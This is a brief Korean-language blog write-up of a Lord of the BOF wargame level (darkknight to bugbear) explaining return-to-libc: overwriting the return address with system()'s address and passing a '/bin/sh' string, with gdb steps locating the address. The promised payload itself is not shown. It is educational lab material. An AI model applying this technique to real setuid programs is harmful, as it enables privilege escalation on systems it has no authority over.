The Lord of the BOF - darkknight -> bugbear
Sep 8, 2016
return to library 개념 이해하기
아래는 문제의 코드
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
이전 단계까지는 삽입한 쉘코드의 주소를 ret에 넣어서 쉘 권한을 얻어냈었다.
그런데 옛날부터 스택을 이용한 공격은 안된지 오래다.
그래서 RTL을 쓰는데...
ret 영역에는 system 함수 주소를 넣고, system 함수에 인자로 ebp+8이 될 곳에 "/bin/sh" 문자열의 주소를 넣으면 문제를 풀 수 있다.
$ cp bugbear augbear
$ ls -l
total 28
-rwxr-xr-x 1 darkknig darkknig 12043 Sep 2 09:05 augbear
-rwsr-sr-x 1 bugbear bugbear 12043 Mar 8 2010 bugbear
-rw-r--r-- 1 root root 385 Mar 29 2010 bugbear.c
gdb랑 core 덤프용으로 bugbear를 augbear로 복사하고
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /home/darkknight/augbear
Breakpoint 1, 0x8048436 in main ()
(gdb) print system
$1 = {} 0x40058ae0 <__libc_system>
system 함수 주소를 알아내고
그리고 x/10000s 쳐서 "/bin/sh"를 찾아서 풀었다.
아래는 페이로드